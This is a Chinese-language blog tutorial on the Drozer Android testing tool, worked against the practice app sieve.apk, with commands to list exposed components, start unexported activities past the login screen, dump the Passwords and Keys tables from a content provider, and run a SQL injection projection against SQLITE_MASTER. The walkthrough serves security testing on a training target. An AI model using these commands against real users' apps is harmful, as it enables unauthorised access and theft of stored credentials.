• Drozer渗透测试工具(使用篇)


    一、前言

    这里主要以sieve.apk为测试应用,来展示Drozer的功能点,起到一个抛砖引玉的作用

    二、获取所要测试的apk的完整包名

    命令:run app.package.list -f 包名关键字
    示例:run app.package.list -f sieve


    可见,sieve.apk的完整包名为:com.mwr.example.sieve,可为后面的命令做参考

    三、获取包的基本信息

    命令:run app.package.info -a yourTestPackageName
    示例:run app.package.info -a com.mwr.example.sieve

    可以看到sieve的版本信息,数据存储目录,用户ID,组ID,共享库,权限等信息

    四、查找攻击面

    命令:run app.package.attacksurface yourTestPackageName
    示例:run app.package.attacksurface com.mwr.example.sieve

    可以看到Android四大组件中,分别的暴露数分别为,3、0、2、2

    五、对Android四大组件测试

    1、Activity组件漏洞测试

    (a)、查看全部对外暴露的activity组件信息
    命令:run app.activity.info -a yourTestPackageName
    示例:run app.activity.info -a com.mwr.example.sieve

    Activity组件暴露分析:
    com.mwr.example.sieve.MainLoginActivity是sieve.apk的启动的主界面,是必须可导出的,但剩下的两个理论上是不能导出的

    (b)、对三个activity分别导出
    命令:run app.activity.start --component yourTestPackageName youWantToActivity
    示例:run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity

    com.mwr.example.sieve.MainLoginActivity的导出
    run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity

    com.mwr.example.sieve.PWList的导出
    run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

    com.mwr.example.sieve.FileSelectActivity的导出
    run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity

    由此可以看出,PWList和FileSelectActivity是直接绕过了MainLoginActivity,可以直接启动的,说明存在acitivty的越权漏洞

    (c)、其他的app上的activity示例

    由此可见,这里除了正常的启动activity之外,还有三个第三方登陆,微信、微博和QQ,说明此应用的activity组件也是正常的

    2、Content Provider组件漏洞测试

    (a)、获取Content Provider信息
    示例:run app.provider.info -a yourTestPackageName
    命令:run app.provider.info -a com.mwr.example.sieve

    (b)、Content Providers(数据泄露)
    获取所有可以访问的uri:
    run scanner.provider.finduris -a com.mwr.example.sieve

    获取各个Uri的数据:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/

    (c)、检测可利用uri,检查sql注入
    run scanner.provider.injection -a com.mwr.example.sieve

    (d)、利用暴露的content provider进行sql注入
    使用Sql注入列出数据库中的所有数据表
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- "

    从File System-backed Content Providers获取信息
    检测目录遍历
    run scanner.provider.traversal -a com.mwr.example.sieve

    下载指定文件到指定目录(windows下不建议指定目录,会有问题,直接下到drozer的主目录下)

    3、Broadcast组件测试

    (a)、获取broadcast组件的信息
    命令:run app.broadcast.info -a yourTestPackageName
    示例:run app.broadcast.info -a com.mwr.example.sieve

    没有暴露的bradcast组件

    (b)、其他app的示例

    暴露的broadcast组件是taobao的,说明也是安全的

    4、services组件测试

    (a)、获取service组件的信息
    命令:run app.service.info -a yourTestPackageName
    示例:run app.service.info -a com.mwr.example.sieve

    (b)、其他app的示例

    参考博客:https://blog.csdn.net/samlirongsheng/article/details/104926282

    知道、想到、做到、得到
  • 相关阅读:
    cookie,session,django中间件,csrf回顾
    CSRF
    django中间件
    cookie与session
    form组件简单回顾
    分页器组件与form组件
    ajax回顾
    AJAX
    python魔法方法详解
    python静态方法类方法属性方法
  • 原文地址:https://www.cnblogs.com/Durant0420/p/13376267.html
Copyright © 2020-2023  润新知